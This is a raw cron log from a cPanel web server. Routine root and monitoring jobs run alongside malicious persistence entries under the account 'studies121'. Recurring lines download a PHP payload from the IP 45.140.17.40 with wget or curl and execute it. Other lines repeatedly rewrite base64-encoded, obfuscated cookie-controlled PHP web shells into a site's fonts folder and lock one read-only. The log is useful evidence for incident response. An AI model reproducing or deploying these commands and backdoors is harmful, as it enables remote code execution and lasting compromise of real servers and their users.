Aug 30 11:54:01 ip-184-168-122-23 CROND[6958]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 11:54:01 ip-184-168-122-23 CROND[6957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:54:01 ip-184-168-122-23 CROND[6955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:54:01 ip-184-168-122-23 CROND[6959]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:55:02 ip-184-168-122-23 CROND[7061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:55:02 ip-184-168-122-23 CROND[7062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:55:02 ip-184-168-122-23 CROND[7060]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:55:02 ip-184-168-122-23 CROND[7066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:55:02 ip-184-168-122-23 CROND[7067]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 11:55:02 ip-184-168-122-23 CROND[7068]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 11:56:01 ip-184-168-122-23 CROND[7167]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:56:01 ip-184-168-122-23 CROND[7170]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 11:56:01 ip-184-168-122-23 CROND[7171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:56:01 ip-184-168-122-23 CROND[7172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:56:01 ip-184-168-122-23 CROND[7169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:57:01 ip-184-168-122-23 CROND[7512]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:57:01 ip-184-168-122-23 CROND[7514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:57:01 ip-184-168-122-23 CROND[7515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:57:01 ip-184-168-122-23 CROND[7516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:58:01 ip-184-168-122-23 CROND[7918]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 11:58:01 ip-184-168-122-23 CROND[7919]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:58:01 ip-184-168-122-23 CROND[7921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:58:01 ip-184-168-122-23 CROND[7923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:58:01 ip-184-168-122-23 CROND[7924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:59:01 ip-184-168-122-23 CROND[8017]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:59:01 ip-184-168-122-23 CROND[8018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:59:01 ip-184-168-122-23 CROND[8019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:59:01 ip-184-168-122-23 CROND[8020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:00:01 ip-184-168-122-23 CROND[8156]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 12:00:02 ip-184-168-122-23 CROND[8163]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 12:00:02 ip-184-168-122-23 CROND[8165]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:00:02 ip-184-168-122-23 CROND[8167]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 12:00:02 ip-184-168-122-23 CROND[8162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:00:02 ip-184-168-122-23 CROND[8168]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Aug 30 12:00:02 ip-184-168-122-23 CROND[8164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:00:02 ip-184-168-122-23 CROND[8166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:00:02 ip-184-168-122-23 CROND[8170]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 12:00:02 ip-184-168-122-23 CROND[8169]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 30 12:01:01 ip-184-168-122-23 CROND[8330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:01:01 ip-184-168-122-23 CROND[8336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:01:01 ip-184-168-122-23 CROND[8335]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 12:01:01 ip-184-168-122-23 CROND[8333]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:01:01 ip-184-168-122-23 CROND[8334]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 12:01:01 ip-184-168-122-23 CROND[8331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[8335]: starting 0anacron
Aug 30 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[8352]: finished 0anacron
Aug 30 12:02:01 ip-184-168-122-23 CROND[8445]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 12:02:01 ip-184-168-122-23 CROND[8444]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:02:01 ip-184-168-122-23 CROND[8447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:02:01 ip-184-168-122-23 CROND[8446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:02:01 ip-184-168-122-23 CROND[8448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:03:01 ip-184-168-122-23 CROND[8542]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:03:01 ip-184-168-122-23 CROND[8544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:03:01 ip-184-168-122-23 CROND[8545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:03:01 ip-184-168-122-23 CROND[8546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:04:01 ip-184-168-122-23 CROND[8848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:04:01 ip-184-168-122-23 CROND[8850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:04:01 ip-184-168-122-23 CROND[8851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:04:01 ip-184-168-122-23 CROND[8852]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 12:04:01 ip-184-168-122-23 CROND[8853]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:05:02 ip-184-168-122-23 CROND[9100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:05:02 ip-184-168-122-23 CROND[9108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:05:02 ip-184-168-122-23 CROND[9106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:05:02 ip-184-168-122-23 CROND[9107]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 12:05:02 ip-184-168-122-23 CROND[9105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:05:02 ip-184-168-122-23 CROND[9109]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 12:05:02 ip-184-168-122-23 CROND[9110]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
